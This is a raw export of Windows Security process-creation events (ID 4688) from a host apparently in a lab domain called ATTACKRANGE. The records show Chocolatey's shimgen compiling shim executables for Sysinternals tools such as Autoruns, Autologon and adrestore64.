	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Autoruns.exe" --output="C:\ProgramData\chocolatey\bin\Autoruns.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Autoruns.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246355
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x30c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3c4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB36C.tmp" "c:\ProgramData\chocolatey\bin\CSC653DDA4EB78B4E47BF635464A7BBCEAA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246354
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4fc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3c4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246353
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x484
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Autologon64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_6148\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246352
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x484
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246351
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Autologon64.exe" --output="C:\ProgramData\chocolatey\bin\Autologon64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Autologon64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246350
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb18
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB2A1.tmp" "c:\ProgramData\chocolatey\bin\CSCE2EA0058D6384643B28B948E93394D.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246349
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xce0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246348
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfc8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5e0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Autologon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_3961\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246347
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd34
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5e0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246346
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Autologon.exe" --output="C:\ProgramData\chocolatey\bin\Autologon.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Autologon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246345
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x838
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB1C6.tmp" "c:\ProgramData\chocolatey\bin\CSCD40D1D9443A145B0B4819BACA6634E98.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246344
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xba0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x838
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246343
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x838
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3fc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\adrestore64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_1930\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246342
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3fc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246341
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3fc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\adrestore64.exe" --output="C:\ProgramData\chocolatey\bin\adrestore64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\adrestore64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246340
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x864
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb88
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB0EC.tmp" "c:\ProgramData\chocolatey\bin\CSCDFD59F0CABA347E191E5FC11B6E18F9B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246384
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

